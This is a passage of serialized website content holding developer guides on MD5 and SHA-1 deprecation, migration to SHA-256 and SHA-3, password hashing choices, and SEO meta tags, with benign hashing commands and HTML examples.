hmac.",[1560,151769,151614],{"class":1566},[1560,151771,1688],{"class":1570},[1560,151773,41938],{"class":5634},[1560,151775,1744],{"class":1570},[11,151777,1355],{"id":1354},[41,151779,151780,151783,151786,151789,151792,151795],{},[44,151781,151782],{},"MD5 collision attacks are practical and take under a second on modern hardware",[44,151784,151785],{},"Preimage attacks against MD5 remain theoretical but the margin is shrinking",[44,151787,151788],{},"MD5 is safe for non-adversarial checksums like accidental corruption detection",[44,151790,151791],{},"Never use MD5 for password storage, digital signatures, or certificates",[44,151793,151794],{},"SHA-256 is the minimum standard for security-sensitive hashing",[44,151796,151797],{},"For passwords specifically, use Argon2id or bcrypt instead of any general-purpose hash",[11,151799,286],{"id":285},[16,151801,151802,151803,151805],{},"Compare MD5 and SHA-256 side by side with our free ",[98,151804,86434],{"href":86433},". Enter any text to see both hash outputs instantly — all processing happens locally in your browser, so your data stays private.",[16,151807,151808],{},[98,151809,151810],{"href":86433},"Try the Hash Calculator →",[2043,151812,151813],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":141,"searchDepth":337,"depth":337,"links":151815},[151816,151817,151822,151826,151827,151828,151833,151834],{"id":151246,"depth":337,"text":151247},{"id":151256,"depth":337,"text":151257,"children":151818},[151819,151820,151821],{"id":151260,"depth":343,"text":151261},{"id":151267,"depth":343,"text":151268},{"id":151283,"depth":343,"text":151284},{"id":151358,"depth":337,"text":151359,"children":151823},[151824,151825],{"id":151365,"depth":343,"text":151366},{"id":151372,"depth":343,"text":151373},{"id":151379,"depth":337,"text":151380},{"id":151462,"depth":337,"text":151463},{"id":151550,"depth":337,"text":151551,"children":151829},[151830,151831,151832],{"id":151554,"depth":343,"text":151555},{"id":151676,"depth":343,"text":151677},{"id":151716,"depth":343,"text":151717},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand why MD5 is no longer secure. Learn about collision attacks, preimage attacks, and when MD5 is still safe to use.",{"immutable":363},"\u002Fguides\u002Fmd5-security-vulnerabilities",{"title":151241,"description":151835},"guides\u002Fmd5-security-vulnerabilities","kmgasjIKCqL5iC-i8cPRBOW9akG0PuRlyImTBwjMGTE",{"id":151842,"title":151843,"body":151844,"date":2070,"description":152254,"extension":361,"meta":152255,"navigation":363,"path":152256,"readingTime":1710,"seo":152257,"stem":152258,"__hash__":152259},"guides\u002Fguides\u002Fmd5-sha1-deprecation.md","MD5 and SHA-1 Deprecation Guide",{"type":8,"value":151845,"toc":152239},[151846,151850,151853,151856,151860,151863,151869,151872,151876,151914,151917,151921,151924,151950,151953,151957,151960,151964,152044,152075,152079,152082,152104,152108,152111,152172,152175,152179,152182,152185,152205,152208,152210,152230,152232,152237],[11,151847,151849],{"id":151848},"the-rise-and-fall-of-md5-and-sha-1","The Rise and Fall of MD5 and SHA-1",[16,151851,151852],{},"MD5 and SHA-1 were once the standard hash functions for verifying file integrity, storing passwords, and signing digital certificates. MD5 produces a 128-bit digest; SHA-1 produces 160 bits. At the time of their adoption, the computational cost of finding two inputs that produce the same hash — a collision — was considered impractical.",[16,151854,151855],{},"That assumption collapsed. In 2004, researchers demonstrated practical MD5 collisions. By 2008, attackers forged a rogue CA certificate using MD5 collisions. SHA-1 held on longer, but in 2017 Google's SHAttered attack produced two different PDF files with the same SHA-1 hash. Both functions are now officially deprecated for security purposes.",[11,151857,151859],{"id":151858},"what-a-collision-attack-means","What a Collision Attack Means",[16,151861,151862],{},"A hash function maps arbitrary input to a fixed-size digest. A collision occurs when two distinct inputs produce the same hash output:",[135,151864,151867],{"className":151865,"code":151866,"language":140},[138],"File A → SHA-1 → a3bf2a57... (40 hex chars)\nFile B → SHA-1 → a3bf2a57... (same digest — collision)\n",[143,151868,151866],{"__ignoreMap":141},[16,151870,151871],{},"If you trust the hash to verify File A, an attacker can substitute File B and the hash still matches. This breaks integrity verification for software downloads, digital signatures, and certificate chains.",[33,151873,151875],{"id":151874},"collision-vs-preimage","Collision vs Preimage",[193,151877,151878,151890],{},[196,151879,151880],{},[199,151881,151882,151885,151887],{},[202,151883,151884],{},"Attack Type",[202,151886,104805],{},[202,151888,151889],{},"Practical Difficulty",[211,151891,151892,151903],{},[199,151893,151894,151897,151900],{},[216,151895,151896],{},"Collision",[216,151898,151899],{},"Find any two inputs with the same hash",[216,151901,151902],{},"Achievable for MD5 and SHA-1",[199,151904,151905,151908,151911],{},[216,151906,151907],{},"Preimage",[216,151909,151910],{},"Find an input that matches a specific hash",[216,151912,151913],{},"Still infeasible for both",[16,151915,151916],{},"Collision attacks are enough to break real-world systems. An attacker does not need to reverse a specific hash — they only need to produce a malicious file that shares a hash with a legitimate one.",[11,151918,151920],{"id":151919},"where-md5-and-sha-1-still-appear","Where MD5 and SHA-1 Still Appear",[16,151922,151923],{},"Despite deprecation, these hashes remain embedded in many systems:",[41,151925,151926,151932,151938,151944],{},[44,151927,151928,151931],{},[47,151929,151930],{},"Legacy checksums"," — older software releases ship with MD5 checksums for verification",[44,151933,151934,151937],{},[47,151935,151936],{},"Git"," — Git uses SHA-1 internally for object identification (migration to SHA-256 is in progress)",[44,151939,151940,151943],{},[47,151941,151942],{},"Database identifiers"," — some systems use MD5 as a low-collision key generator",[44,151945,151946,151949],{},[47,151947,151948],{},"Non-security contexts"," — deduplication, cache keys, and partition selectors where collision resistance is not a security requirement",[16,151951,151952],{},"Using MD5 or SHA-1 for non-security purposes (like cache keys or deduplication) is acceptable. The problem is when they are used where trust depends on collision resistance.",[11,151954,151956],{"id":151955},"migrating-to-sha-256","Migrating to SHA-256",[16,151958,151959],{},"SHA-256 (part of the SHA-2 family) produces a 256-bit digest and has no known practical collision attacks. It is the current standard for most security applications.",[33,151961,151963],{"id":151962},"code-migration","Code Migration",[135,151965,151967],{"className":1607,"code":151966,"language":1609,"meta":141,"style":141},"\u002F\u002F Before — Node.js crypto\nconst hash = crypto.createHash('md5').update(data).digest('hex');\n\n\u002F\u002F After\nconst hash = crypto.createHash('sha256').update(data).digest('hex');\n",[143,151968,151969,151974,152005,152009,152014],{"__ignoreMap":141},[1560,151970,151971],{"class":1562,"line":1563},[1560,151972,151973],{"class":1649},"\u002F\u002F Before — Node.js crypto\n",[1560,151975,151976,151978,151980,151982,151984,151986,151988,151990,151992,151994,151997,151999,152001,152003],{"class":1562,"line":337},[1560,151977,8180],{"class":1669},[1560,151979,151591],{"class":1576},[1560,151981,8186],{"class":1669},[1560,151983,41913],{"class":1570},[1560,151985,151598],{"class":1566},[1560,151987,1688],{"class":1570},[1560,151989,151603],{"class":5634},[1560,151991,9368],{"class":1570},[1560,151993,151608],{"class":1566},[1560,151995,151996],{"class":1570},"(data).",[1560,151998,151614],{"class":1566},[1560,152000,1688],{"class":1570},[1560,152002,41938],{"class":5634},[1560,152004,1744],{"class":1570},[1560,152006,152007],{"class":1562,"line":343},[1560,152008,1702],{"emptyLinePlaceholder":363},[1560,152010,152011],{"class":1562,"line":365},[1560,152012,152013],{"class":1649},"\u002F\u002F After\n",[1560,152015,152016,152018,152020,152022,152024,152026,152028,152030,152032,152034,152036,152038,152040,152042],{"class":1562,"line":889},[1560,152017,8180],{"class":1669},[1560,152019,151591],{"class":1576},[1560,152021,8186],{"class":1669},[1560,152023,41913],{"class":1570},[1560,152025,151598],{"class":1566},[1560,152027,1688],{"class":1570},[1560,152029,151744],{"class":5634},[1560,152031,9368],{"class":1570},[1560,152033,151608],{"class":1566},[1560,152035,151996],{"class":1570},[1560,152037,151614],{"class":1566},[1560,152039,1688],{"class":1570},[1560,152041,41938],{"class":5634},[1560,152043,1744],{"class":1570},[135,152045,152047],{"className":6951,"code":152046,"language":6953,"meta":141,"style":141},"# Before — command line\nmd5sum release.tar.gz\n\n# After\nsha256sum release.tar.gz\n",[143,152048,152049,152054,152060,152064,152069],{"__ignoreMap":141},[1560,152050,152051],{"class":1562,"line":1563},[1560,152052,152053],{"class":1649},"# Before — command line\n",[1560,152055,152056,152058],{"class":1562,"line":337},[1560,152057,151695],{"class":1566},[1560,152059,151698],{"class":5634},[1560,152061,152062],{"class":1562,"line":343},[1560,152063,1702],{"emptyLinePlaceholder":363},[1560,152065,152066],{"class":1562,"line":365},[1560,152067,152068],{"class":1649},"# After\n",[1560,152070,152071,152073],{"class":1562,"line":889},[1560,152072,103698],{"class":1566},[1560,152074,151698],{"class":5634},[33,152076,152078],{"id":152077},"database-migration","Database Migration",[16,152080,152081],{},"For systems that store hashes as identifiers or checksums:",[77,152083,152084,152095,152098,152101],{},[44,152085,152086,152087,152090,152091,152094],{},"Add a new ",[143,152088,152089],{},"sha256"," column alongside the existing ",[143,152092,152093],{},"md5"," column",[44,152096,152097],{},"Backfill SHA-256 hashes for all existing records",[44,152099,152100],{},"Update application code to write both hashes during the transition",[44,152102,152103],{},"Switch reads to SHA-256 and remove the MD5 column",[11,152105,152107],{"id":152106},"sha-3-the-next-generation","SHA-3: The Next Generation",[16,152109,152110],{},"SHA-3 (Keccak) is not a refinement of SHA-2 — it uses a completely different internal construction (sponge function vs Merkle-Damgard). This structural diversity means a future break in SHA-2 would not automatically compromise SHA-3.",[193,152112,152113,152124],{},[196,152114,152115],{},[199,152116,152117,152119,152121],{},[202,152118,14482],{},[202,152120,151477],{},[202,152122,152123],{},"SHA-3-256",[211,152125,152126,152135,152146,152155,152164],{},[199,152127,152128,152131,152133],{},[216,152129,152130],{},"Digest size",[216,152132,151492],{},[216,152134,151492],{},[199,152136,152137,152140,152143],{},[216,152138,152139],{},"Construction",[216,152141,152142],{},"Merkle-Damgard",[216,152144,152145],{},"Sponge",[199,152147,152148,152150,152153],{},[216,152149,62330],{},[216,152151,152152],{},"Faster on most hardware",[216,152154,23711],{},[199,152156,152157,152160,152162],{},[216,152158,152159],{},"Adoption",[216,152161,5921],{},[216,152163,37071],{},[199,152165,152166,152168,152170],{},[216,152167,151499],{},[216,152169,151505],{},[216,152171,151505],{},[16,152173,152174],{},"For most applications today, SHA-256 is sufficient. SHA-3 is worth adopting for long-lived systems where defense in depth against future cryptanalytic advances matters.",[11,152176,152178],{"id":152177},"password-hashing-is-different","Password Hashing Is Different",[16,152180,152181],{},"MD5, SHA-1, SHA-256, and SHA-3 are all general-purpose hash functions. They are designed to be fast. For password storage, fast is dangerous — attackers can guess millions of passwords per second.",[16,152183,152184],{},"Use purpose-built password hashing functions instead:",[41,152186,152187,152193,152199],{},[44,152188,152189,152192],{},[47,152190,152191],{},"bcrypt"," — battle-tested, widely supported",[44,152194,152195,152198],{},[47,152196,152197],{},"Argon2"," — winner of the Password Hashing Competition, resistant to GPU attacks",[44,152200,152201,152204],{},[47,152202,152203],{},"scrypt"," — memory-hard, effective against ASIC attacks",[16,152206,152207],{},"Never use MD5, SHA-1, or SHA-256 alone for password storage without a salt and key stretching.",[11,152209,1355],{"id":1354},[41,152211,152212,152215,152218,152221,152224,152227],{},[44,152213,152214],{},"MD5 and SHA-1 are broken for collision resistance — do not use them for security purposes.",[44,152216,152217],{},"Collision attacks are practical: attackers can produce two files with the same hash.",[44,152219,152220],{},"SHA-256 is the recommended replacement with no known vulnerabilities.",[44,152222,152223],{},"SHA-3 offers structural diversity as a hedge against future breaks in SHA-2.",[44,152225,152226],{},"Migration involves adding SHA-256 alongside existing hashes, then switching over.",[44,152228,152229],{},"For password storage, use bcrypt or Argon2 — never general-purpose hash functions.",[11,152231,286],{"id":285},[16,152233,152234,152235,468],{},"Generate SHA-256 hashes for your files and strings instantly with the ",[98,152236,86434],{"href":86433},[2043,152238,14986],{},{"title":141,"searchDepth":337,"depth":337,"links":152240},[152241,152242,152245,152246,152250,152251,152252,152253],{"id":151848,"depth":337,"text":151849},{"id":151858,"depth":337,"text":151859,"children":152243},[152244],{"id":151874,"depth":343,"text":151875},{"id":151919,"depth":337,"text":151920},{"id":151955,"depth":337,"text":151956,"children":152247},[152248,152249],{"id":151962,"depth":343,"text":151963},{"id":152077,"depth":343,"text":152078},{"id":152106,"depth":337,"text":152107},{"id":152177,"depth":337,"text":152178},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Why MD5 and SHA-1 are no longer safe and how to migrate to SHA-256 or SHA-3.",{"immutable":363},"\u002Fguides\u002Fmd5-sha1-deprecation",{"title":151843,"description":152254},"guides\u002Fmd5-sha1-deprecation","3MZFoDGI_Wa_xEdCRNiCJf7UwNb2va6fK2ECktrcWZo",{"id":152261,"title":152262,"body":152263,"date":2070,"description":152869,"extension":361,"meta":152870,"navigation":363,"path":152871,"readingTime":1717,"seo":152872,"stem":152873,"__hash__":152874},"guides\u002Fguides\u002Fmeta-tag-generator-guide.md","Meta Tag Generator Guide",{"type":8,"value":152264,"toc":152857},[152265,152269,152275,152278,152282,152285,152363,152369,152373,152376,152382,152388,152394,152400,152445,152449,152452,152458,152464,152470,152476,152537,152541,152544,152616,152619,152646,152673,152677,152680,152683,152721,152748,152754,152760,152764,152806,152808,152828,152830,152838,152840,152854],[11,152266,152268],{"id":152267},"why-meta-tags-matter-for-seo","Why Meta Tags Matter for SEO",[16,152270,152271,152272,152274],{},"Meta tags live inside your page's ",[143,152273,13169],{}," element and tell search engines what your content is about. They do not appear on the page itself, but they directly control how your page looks in search results and whether crawlers index it at all.",[16,152276,152277],{},"Three tags carry the most weight: the title tag, the meta description, and the robots meta tag. Get these right and you improve click-through rates, crawl efficiency, and ranking signals simultaneously.",[11,152279,152281],{"id":152280},"essential-meta-tags-every-page-needs","Essential Meta Tags Every Page Needs",[16,152283,152284],{},"Not every meta tag deserves a place in your HTML. Focus on the ones search engines actually use:",[193,152286,152287,152298],{},[196,152288,152289],{},[199,152290,152291,152294,152296],{},[202,152292,152293],{},"Tag",[202,152295,2758],{},[202,152297,2976],{},[211,152299,152300,152312,152325,152338,152351],{},[199,152301,152302,152306,152309],{},[216,152303,152304],{},[143,152305,12666],{},[216,152307,152308],{},"Browser tab text and search result headline",[216,152310,152311],{},"60 characters",[199,152313,152314,152319,152322],{},[216,152315,152316],{},[143,152317,152318],{},"\u003Cmeta name=\"description\">",[216,152320,152321],{},"Summary shown beneath the search link",[216,152323,152324],{},"150 characters",[199,152326,152327,152332,152335],{},[216,152328,152329],{},[143,152330,152331],{},"\u003Cmeta name=\"robots\">",[216,152333,152334],{},"Controls crawling and indexing behavior",[216,152336,152337],{},"See options below",[199,152339,152340,152345,152348],{},[216,152341,152342],{},[143,152343,152344],{},"\u003Clink rel=\"canonical\">",[216,152346,152347],{},"Declares the preferred URL for duplicate content",[216,152349,152350],{},"Full URL",[199,152352,152353,152358,152361],{},[216,152354,152355],{},[143,152356,152357],{},"\u003Cmeta name=\"viewport\">",[216,152359,152360],{},"Responsive layout instruction for mobile browsers",[216,152362,3060],{},[16,152364,152365,152366,152368],{},"Every page you publish should include these five. Skip anything that does not serve users or crawlers — bloated ",[143,152367,13169],{}," sections slow rendering without adding value.",[11,152370,152372],{"id":152371},"title-tag-best-practices","Title Tag Best Practices",[16,152374,152375],{},"The title tag is the single most important on-page SEO element. Search engines weight it heavily when determining relevance.",[16,152377,152378,152381],{},[47,152379,152380],{},"Keep it under 60 characters."," Google truncates titles beyond roughly 600 pixels, which translates to about 60 characters for English text. Truncated titles lose impact and earn fewer clicks.",[16,152383,152384,152387],{},[47,152385,152386],{},"Front-load your keyword."," Place the primary keyword as close to the start as possible. \"Free JSON Formatter Online | ToolBoxes\" outperforms \"ToolBoxes | Free Online JSON Formatter\" because the keyword appears first.",[16,152389,152390,152393],{},[47,152391,152392],{},"Make each title unique."," Duplicate titles across pages confuse search engines and dilute relevance signals. Every URL should have a distinct title.",[16,152395,152396,152399],{},[47,152397,152398],{},"Avoid keyword stuffing."," Repeating the same word three times in a title looks spammy. Aim for natural phrasing that reads well for humans.",[135,152401,152403],{"className":6417,"code":152402,"language":6419,"meta":141,"style":141},"\u003C!-- Good -->\n\u003Ctitle>JSON Formatter Online - Free JSON Beautifier | ToolBoxes\u003C\u002Ftitle>\n\n\u003C!-- Bad — too long, keyword stuffed -->\n\u003Ctitle>Free Online JSON Formatter and JSON Validator and JSON Beautifier Tool\u003C\u002Ftitle>\n",[143,152404,152405,152410,152423,152427,152432],{"__ignoreMap":141},[1560,152406,152407],{"class":1562,"line":1563},[1560,152408,152409],{"class":1649},"\u003C!-- Good -->\n",[1560,152411,152412,152414,152416,152419,152421],{"class":1562,"line":337},[1560,152413,6431],{"class":1570},[1560,152415,108868],{"class":2484},[1560,152417,152418],{"class":1570},">JSON Formatter Online - Free JSON Beautifier | ToolBoxes\u003C\u002F",[1560,152420,108868],{"class":2484},[1560,152422,6441],{"class":1570},[1560,152424,152425],{"class":1562,"line":343},[1560,152426,1702],{"emptyLinePlaceholder":363},[1560,152428,152429],{"class":1562,"line":365},[1560,152430,152431],{"class":1649},"\u003C!-- Bad — too long, keyword stuffed -->\n",[1560,152433,152434,152436,152438,152441,152443],{"class":1562,"line":889},[1560,152435,6431],{"class":1570},[1560,152437,108868],{"class":2484},[1560,152439,152440],{"class":1570},">Free Online JSON Formatter and JSON Validator and JSON Beautifier Tool\u003C\u002F",[1560,152442,108868],{"class":2484},[1560,152444,6441],{"class":1570},[11,152446,152448],{"id":152447},"meta-description-best-practices","Meta Description Best Practices",[16,152450,152451],{},"Meta descriptions do not directly affect rankings, but they strongly influence click-through rates. A compelling description can double your traffic from the same position.",[16,152453,152454,152457],{},[47,152455,152456],{},"Stay under 150 characters."," Google displays roughly 155 characters before truncating, but 150 gives you a safe margin. Truncated descriptions lose their call to action.",[16,152459,152460,152463],{},[47,152461,152462],{},"Include your target keyword."," Google bolds search terms that appear in descriptions. Bold text draws the eye and increases clicks.",[16,152465,152466,152469],{},[47,152467,152468],{},"End with a call to action."," \"Try it free — no signup required.\" gives users a reason to click beyond just reading the summary.",[16,152471,152472,152475],{},[47,152473,152474],{},"Write a unique description per page."," Identical descriptions across pages signal low quality to Google and may cause it to ignore them entirely.",[135,152477,152479],{"className":6417,"code":152478,"language":6419,"meta":141,"style":141},"\u003C!-- Good -->\n\u003Cmeta name=\"description\" content=\"Free online JSON formatter. Paste your JSON, click format, and get readable output instantly. No signup needed.\">\n\n\u003C!-- Bad — vague, no keyword, no CTA -->\n\u003Cmeta name=\"description\" content=\"A tool for formatting things.\">\n",[143,152480,152481,152485,152507,152511,152516],{"__ignoreMap":141},[1560,152482,152483],{"class":1562,"line":1563},[1560,152484,152409],{"class":1649},[1560,152486,152487,152489,152491,152493,152495,152498,152500,152502,152505],{"class":1562,"line":337},[1560,152488,6431],{"class":1570},[1560,152490,108827],{"class":2484},[1560,152492,108846],{"class":1566},[1560,152494,7297],{"class":1570},[1560,152496,152497],{"class":5634},"\"description\"",[1560,152499,108854],{"class":1566},[1560,152501,7297],{"class":1570},[1560,152503,152504],{"class":5634},"\"Free online JSON formatter. Paste your JSON, click format, and get readable output instantly. No signup needed.\"",[1560,152506,6441],{"class":1570},[1560,152508,152509],{"class":1562,"line":343},[1560,152510,1702],{"emptyLinePlaceholder":363},[1560,152512,152513],{"class":1562,"line":365},[1560,152514,152515],{"class":1649},"\u003C!-- Bad — vague, no keyword, no CTA -->\n",[1560,152517,152518,152520,152522,152524,152526,152528,152530,152532,152535],{"class":1562,"line":889},[1560,152519,6431],{"class":1570},[1560,152521,108827],{"class":2484},[1560,152523,108846],{"class":1566},[1560,152525,7297],{"class":1570},[1560,152527,152497],{"class":5634},[1560,152529,108854],{"class":1566},[1560,152531,7297],{"class":1570},[1560,152533,152534],{"class":5634},"\"A tool for formatting things.\"",[1560,152536,6441],{"class":1570},[11,152538,152540],{"id":152539},"robots-meta-tag-options","Robots Meta Tag Options",[16,152542,152543],{},"The robots meta tag tells search engine crawlers how to handle your page. Use it when your intent differs from the default behavior (index + follow).",[193,152545,152546,152554],{},[196,152547,152548],{},[199,152549,152550,152552],{},[202,152551,1769],{},[202,152553,4228],{},[211,152555,152556,152566,152576,152586,152596,152606],{},[199,152557,152558,152563],{},[216,152559,152560],{},[143,152561,152562],{},"index, follow",[216,152564,152565],{},"Index the page and follow all links (default)",[199,152567,152568,152573],{},[216,152569,152570],{},[143,152571,152572],{},"noindex, follow",[216,152574,152575],{},"Do not index, but still follow links",[199,152577,152578,152583],{},[216,152579,152580],{},[143,152581,152582],{},"index, nofollow",[216,152584,152585],{},"Index the page, do not follow links",[199,152587,152588,152593],{},[216,152589,152590],{},[143,152591,152592],{},"noindex, nofollow",[216,152594,152595],{},"Do not index and do not follow links",[199,152597,152598,152603],{},[216,152599,152600],{},[143,152601,152602],{},"noarchive",[216,152604,152605],{},"Do not show a cached version in results",[199,152607,152608,152613],{},[216,152609,152610],{},[143,152611,152612],{},"nosnippet",[216,152614,152615],{},"Do not show a text snippet in results",[16,152617,152618],{},"Common use cases:",[41,152620,152621,152629,152637],{},[44,152622,152623,6841,152626,152628],{},[47,152624,152625],{},"Thank-you pages:",[143,152627,152572],{}," — prevent search results from landing on a conversion page",[44,152630,152631,6841,152634,152636],{},[47,152632,152633],{},"Paid content previews:",[143,152635,152592],{}," — keep gated content out of the index",[44,152638,152639,6841,152642,152645],{},[47,152640,152641],{},"Thin or duplicate pages:",[143,152643,152644],{},"noindex"," — avoid diluting your site's quality score",[135,152647,152649],{"className":6417,"code":152648,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"robots\" content=\"noindex, follow\">\n",[143,152650,152651],{"__ignoreMap":141},[1560,152652,152653,152655,152657,152659,152661,152664,152666,152668,152671],{"class":1562,"line":1563},[1560,152654,6431],{"class":1570},[1560,152656,108827],{"class":2484},[1560,152658,108846],{"class":1566},[1560,152660,7297],{"class":1570},[1560,152662,152663],{"class":5634},"\"robots\"",[1560,152665,108854],{"class":1566},[1560,152667,7297],{"class":1570},[1560,152669,152670],{"class":5634},"\"noindex, follow\"",[1560,152672,6441],{"class":1570},[11,152674,152676],{"id":152675},"canonical-url-usage","Canonical URL Usage",[16,152678,152679],{},"Duplicate content confuses search engines. Canonical URLs solve this by declaring which version of a page is authoritative.",[16,152681,152682],{},"Use a canonical tag when:",[41,152684,152685,152697,152703,152709,152715],{},[44,152686,152687,6841,152690,1856,152693,152696],{},[47,152688,152689],{},"Same content, different URLs:",[143,152691,152692],{},"example.com\u002Fproduct?id=42",[143,152694,152695],{},"example.com\u002Fproduct\u002Fwidget"," show the same page",[44,152698,152699,152702],{},[47,152700,152701],{},"HTTP vs HTTPS:"," Both versions are accessible",[44,152704,152705,152708],{},[47,152706,152707],{},"WWW vs non-WWW:"," Both subdomains serve identical content",[44,152710,152711,152714],{},[47,152712,152713],{},"Pagination:"," Point page 2, 3, etc. back to page 1 only if pages share the same content focus",[44,152716,152717,152720],{},[47,152718,152719],{},"Syndicated content:"," You republish content from another source and want the original URL to get credit",[135,152722,152724],{"className":6417,"code":152723,"language":6419,"meta":141,"style":141},"\u003Clink rel=\"canonical\" href=\"https:\u002F\u002Fexample.com\u002Fproduct\u002Fwidget\">\n",[143,152725,152726],{"__ignoreMap":141},[1560,152727,152728,152730,152732,152734,152736,152739,152741,152743,152746],{"class":1562,"line":1563},[1560,152729,6431],{"class":1570},[1560,152731,40993],{"class":2484},[1560,152733,40996],{"class":1566},[1560,152735,7297],{"class":1570},[1560,152737,152738],{"class":5634},"\"canonical\"",[1560,152740,41004],{"class":1566},[1560,152742,7297],{"class":1570},[1560,152744,152745],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fproduct\u002Fwidget\"",[1560,152747,6441],{"class":1570},[16,152749,152750,152753],{},[47,152751,152752],{},"Always use absolute URLs"," in canonical tags. Relative URLs can cause interpretation errors across different crawling contexts.",[16,152755,152756,152759],{},[47,152757,152758],{},"Do not chain canonicals."," Page A should canonical to Page B, not A → B → C. Search engines may ignore the chain entirely.",[11,152761,152763],{"id":152762},"common-meta-tag-mistakes","Common Meta Tag Mistakes",[41,152765,152766,152772,152778,152784,152794,152800],{},[44,152767,152768,152771],{},[47,152769,152770],{},"Exceeding length limits"," — truncated titles and descriptions lose clicks",[44,152773,152774,152777],{},[47,152775,152776],{},"Duplicating titles or descriptions across pages"," — confuses crawlers, dilutes relevance",[44,152779,152780,152783],{},[47,152781,152782],{},"Forgetting the canonical tag on parameter URLs"," — creates duplicate content issues",[44,152785,152786,152793],{},[47,152787,18204,152788,99450,152790],{},[143,152789,152644],{},[143,152791,152792],{},"follow"," inadvertently — orphaning internal link paths",[44,152795,152796,152799],{},[47,152797,152798],{},"Leaving the viewport meta tag out"," — breaks mobile layouts completely",[44,152801,152802,152805],{},[47,152803,152804],{},"Setting a canonical that points to a non-indexable page"," — the page drops from results entirely",[11,152807,1355],{"id":1354},[41,152809,152810,152813,152816,152819,152822,152825],{},[44,152811,152812],{},"Include title, description, robots, canonical, and viewport tags on every page",[44,152814,152815],{},"Keep titles under 60 characters and front-load your keyword",[44,152817,152818],{},"Write unique descriptions under 150 characters with a clear call to action",[44,152820,152821],{},"Use the robots meta tag to control indexing on non-essential pages",[44,152823,152824],{},"Set canonical URLs to consolidate duplicate content signals",[44,152826,152827],{},"Always use absolute URLs in canonical tags and never chain them",[11,152829,286],{"id":285},[16,152831,152832,152833,152837],{},"Generate perfect SEO meta tags in seconds with our free ",[98,152834,152836],{"href":152835},"\u002Ftools\u002Fmeta-tag-generator","Meta Tag Generator",". Enter your title, description, and URL — then copy the ready-to-paste HTML directly into your project.",[11,152839,321],{"id":320},[41,152841,152842,152848],{},[44,152843,152844],{},[98,152845,152847],{"href":152846},"\u002Fguides\u002Fopen-graph-tags-guide","Open Graph Tags Guide",[44,152849,152850],{},[98,152851,152853],{"href":152852},"\u002Fguides\u002Fseo-tools-for-developers","SEO Tools for Developers",[2043,152855,152856],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":152858},[152859,152860,152861,152862,152863,152864,152865,152866,152867,152868],{"id":152267,"depth":337,"text":152268},{"id":152280,"depth":337,"text":152281},{"id":152371,"depth":337,"text":152372},{"id":152447,"depth":337,"text":152448},{"id":152539,"depth":337,"text":152540},{"id":152675,"depth":337,"text":152676},{"id":152762,"depth":337,"text":152763},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to create effective SEO meta tags — title, description, robots — and preview your Google search snippet.",{"immutable":363},"\u002Fguides\u002Fmeta-tag-generator-guide",{"title":152262,"description":152869},"guides\u002Fmeta-tag-generator-guide","QfKcfkuu23BB_micS3o3zJlFYQB-znezTp0Wwlfggto",{"id":152876,"title":152877,"body":152878,"date":2070,"description":154021,"extension":361,"meta":154022,"navigation":363,"path":154023,"readingTime":1717,"seo":154024,"stem":154025,"__hash__":154026},"guides\u002Fguides\u002Fmeta-tags-mobile-web-apps.md","Meta Tags for Mobile Web Apps",{"type":8,"value":152879,"toc":154002},[152880,152884,152887,152890,152894,152897,152922,152991,153003,153007,153012,153039,153042,153055,153116,153120,153123,153126,153129,153156,153159,153162,153204,153231,153237,153240,153243,153270,153273,153276,153359,153362,153366,153373,153530,153533,153560,153564,153616,153620,153623,153685,153688,153692,153946,153948,153973,153975,153991,153993,153999],[11,152881,152883],{"id":152882},"why-mobile-meta-tags-matter","Why Mobile Meta Tags 